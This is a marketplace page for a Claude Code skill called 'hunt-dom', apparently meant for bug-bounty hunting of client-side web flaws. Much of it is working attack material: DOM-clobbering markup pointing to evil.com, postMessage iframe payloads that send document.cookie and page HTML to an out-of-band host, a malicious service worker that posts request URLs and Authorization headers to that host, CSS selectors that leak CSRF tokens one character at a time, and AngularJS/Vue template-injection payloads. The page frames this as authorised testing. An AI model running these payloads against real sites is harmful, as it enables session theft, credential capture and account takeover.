mcpField
H
hunt-dom

hunt-dom

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-dom

hunt-dom 是用于测试 DOM 混淆、postMessage、Service Worker、CSS 数据外传和模板注入等客户端 Web 漏洞的技能,提供调查步骤及影响验证方法。

主要功能

  1. 01调查 DOM 混淆与客户端执行点
  2. 02检查 postMessage 处理器和发送方
  3. 03评估同源 Service Worker 滥用
  4. 04测试 CSS 注入能否外传数据
  5. 05检查框架 HTML 执行点与模板注入

适用场景

  1. 01追踪标记注入是否进入 DOM 执行点
  2. 02检查跨来源消息是否泄露机密或触发操作
  3. 03判断 CSS 注入能否泄露令牌
  4. 04评估同源注册的 Service Worker 是否持续生效

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-dom

安装后在 Claude Code 中输入/hunt-dom确认已加载。

详细介绍

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS 外泄

皇冠级目标

基于 DOM 的攻击在受害者的浏览器中执行,服务器通常根本看不到载荷,因此 WAF 和服务端输入过滤器都不起作用。PostMessage 未检查来源=无需 XSS 即可跨源窃取令牌。

价值最高的攻击链:

  • DOM Clobbering → DOM-XSS / 身份验证绕过 — 注入 HTML 标记(不含 <script>)会覆盖 window.config 之类的 JS 全局变量,或遮蔽 document.getElementById;应用之后将该值当作 URL/代码处理,从而触发 sink,即使注入只包含标记、脚本已被过滤也能奏效。
  • PostMessage 未检查来源 → 会话窃取 / DOM-XSS — 若 message 处理程序信任 event.data,却不验证 event.origin,攻击者便能通过 iframe/opener 驱动特权操作,或向 sink 提供数据。
  • 滥用 Service Worker — 通过存储型 XSS 注册同源 SW 脚本(可通过上传、开放重定向或目标站点提供的路径访问),以拦截所有范围内的 fetch → 持续捕获凭据。
  • CSS 外泄 — 属性值选择器(input[value^="a"])无需任何 JS,即可逐字符将 CSRF 令牌/API 密钥/nonce 泄露到 OOB 主机。
依据——本文提炼自的公开研究
  • DOM Clobbering / DOM-Invader — Gareth Heyes 与 PortSwigger Web Security Academy 的“DOM clobbering”主题;DOM-Invader 内置专用的 clobbering 扫描器。sink 分类对应 Academy 的基于 DOM 的漏洞实验。
  • DOMPurify clobbering 和 mXSS 绕过 — Michał Bentkowski(Securitum)关于通过 clobbering 和 mutation XSS 绕过 HTML 清理器的博客系列。
  • jQuery htmlPrefilter 自闭合标签 XSS — CVE-2020-11022 和 CVE-2020-11023(jQuery < 3.5.0)。将攻击者控制的 HTML 传给 .html() / .append() 会使其变异为可执行标记。用 grep 检查捆绑的 jQuery 版本;这是现实中最常见的 DOM-XSS 根源之一。
  • CSS 外泄 — d0nut 的“CSS Injection Attacks” / “Stealing Data With CSS”研究(通过连续 @import 递归解除逐字符位置限制)。

仅引用你实际复现的内容。不要把这些内容作为“证据”贴进报告——你针对真实目标的 PoC 才是证据。此处列出的研究用于说明技术来源,而非夸大严重性。


攻击面信号

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

阶段 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

jQuery 方向: 如果捆绑包中包含 jQuery < 3.5.0,传给 .html()/.append() 的攻击者控制的 HTML 会自行变异并执行(CVE-2020-11022 / CVE-2020-11023)。确认版本后,测试 <style><style /><img src=x onerror=alert(document.domain)>。


阶段 2 — 劫持 PostMessage

存在两类漏洞:(a) 监听器信任跨源数据 → 驱动 sink/特权操作;(b) 发送方使用目标来源 '*' 广播机密 → 任何嵌入该页面的页面都能读取。

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null


<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

误报防护:带有部分检查的处理程序(origin.indexOf('target.com')>-1、endsWith('target.com')、正则 target\.com)仍然存在漏洞——可用 target.com.evil.com 或 eviltarget.com 绕过。从这类仿冒域名提供 PoC,并证明消息仍能到达,以确认漏洞。


阶段 3 — 滥用 Service Worker

硬性规则(纠正常见错误):SW 脚本 URL 必须与调用 register() 的页面同源。跨源脚本 URL(https://evil.com/sw.js)会抛出 SecurityError——没有任何标头可以启用跨源 SW 脚本注册。Service-Worker-Allowed 只会扩大同源脚本可控制的作用域,不会改变脚本所在的位置。

因此,现实可行的路径是:将 SW 脚本放到目标源上(可提供 JS 的文件上传功能、将目标源反射为脚本的开放重定向或路径、text/javascript 类型的 JSON/JSONP 端点,或由你控制的现有路由),然后从同源 XSS 注册它。

# Enumerate existing SW + its scope
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

持久性说明:关闭标签页后,SW 仍会保留,并在下次访问其作用域内的页面时重新运行——这正是它被评为严重(Critical)的原因。关闭所有标签页、重新打开该源,并在不重新触发 XSS 的情况下展示一次新的 OOB 命中,以确认持久性。


阶段 4 — CSS 注入 / 外带

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

范围注意事项(纠正过度表述):CSS 外带可以绕过阻止脚本执行的 CSP,但不能绕过通过 style-src / img-src / default-src / connect-src 限制外部源或通过 form-action 加以限制的 CSP。如果设置了 img-src 'self',则 url(https://OOB/...) 会被阻止。务必先读取实时的 Content-Security-Policy 标头;如果外部资源源已被锁定,CSS 外带就行不通,应如实说明,而不是声称它可行。

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

验证:证据是 OOB 命中,而不是渲染出的颜色。搭建 Collaborator / 请求收集器,并展示每个正确字符各对应一次命中,组成真实令牌,然后演示使用该令牌发起会改变状态的 CSRF 请求。没有 OOB 回调就不算发现(在 DevTools 中,0 字节图像或被 CSP 阻止的请求看起来都像是成功)。


阶段 5 — dangerouslySetInnerHTML / 框架注入点

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

阶段 6 — 客户端模板注入

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

利用链表

DOM 发现利用链到影响
DOM 篡改 → 将被篡改的 URL 注入 script.src/location仅通过标记注入即可触发 DOM-XSS高 / 绕过身份验证
PostMessage 缺少或未充分检查 origin(监听器)数据 → innerHTML/eval/location 注入点DOM-XSS → ATO
PostMessage 的 targetOrigin:'*' 发送方任何框架页面都可读取令牌/身份验证代码跨源令牌窃取
CSS 外带(经 OOB 确认)泄露 CSRF 令牌 → 发起 CSRFCSRF 利用链(中等及以上)
通过 XSS 注入同源 Service Worker拦截作用域内所有 fetch 请求和身份验证标头持久性 ATO(严重)
dangerouslySetInnerHTML,未使用净化器存储型 DOM-XSSXSS → ATO

工具

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any command URL before citing it in a report; do not paste unverified repo links.

验证(避免误报)

遵循仓库标准:某种技术即使能在 DevTools 中触发,也不算发现,除非带外确认并且有状态证明。

  • DOM 篡改 — 展示被篡改的值确实到达了接收点(XSS 载荷执行,或应用从攻击者 URL 导航/加载)。可被篡改的全局变量若始终没有到达接收点 = 没有影响,不要报告。
  • PostMessage — 区分检查是缺失还是薄弱;从仿冒来源绕过薄弱检查,并通过带外方式捕获。仅有嘈杂的 message 日志不能作为证明——展示特权操作或令牌外泄。
  • CSS 外泄 — 每个正确字符都触发带外回连,才是唯一有效证明。 先检查 CSP:限制外部来源的 img-src/style-src/connect-src/default-src 会使其失效。在 Network 选项卡中,遭拦截的 url() 与成功的情况无法区分——请在 Collaborator 端确认。
  • Service Worker — 注册脚本必须是同源脚本;SecurityError 表示你引用了错误的来源。证明其具有持久性(关闭标签页 → 重新打开 → 出现新的带外命中,且未再次触发 XSS)。
  • 一般要求 — 每次测试使用唯一标记(btoa(domain)+nonce),以便确认带外命中来自你自己的载荷,而非后台流量;对渲染后的 DOM 做差异比较,不要比较原始 HTML,因为这些都是客户端问题。

严重程度:

  • 同源 Service Worker → 持续拦截凭据:严重
  • PostMessage 数据 → DOM-XSS/令牌窃取 → ATO:高危–严重
  • DOM 篡改 → DOM-XSS 到达身份验证/会话:高危
  • CSS 外泄 CSRF 令牌(经带外证明)→ CSRF:中危(若串联的 CSRF 会影响账户安全,则提高等级)

验证

运行此自测,以确认已准备好进行 DOM 挖掘:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱章节 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可验证技能结构正确,已准备就绪。


陷阱

  • 未确认接收点的 DOM XSS — 发现用户输入进入 innerHTML 或 document.write,只表示存在潜在接收点,并非已确认的漏洞。追踪从来源到接收点的完整数据流。
  • 未检查来源的 postMessage — 接收 postMessage 事件却不验证 event.origin,才是漏洞。使用 window.postMessage(payload, '*') 进行测试。
  • 不含机密的 Source Map — 仅有 .map 文件只是信息性发现。需要提取出 API 密钥、内部路径或凭据。
  • 使用静态字符串的 eval — eval("constant") 不可利用。需要有动态输入到达 eval。
  • 声称可绕过净化器却没有证据 — 声称绕过 DOMPurify,必须提供针对当前使用版本的有效载荷。

评论

支持 Markdown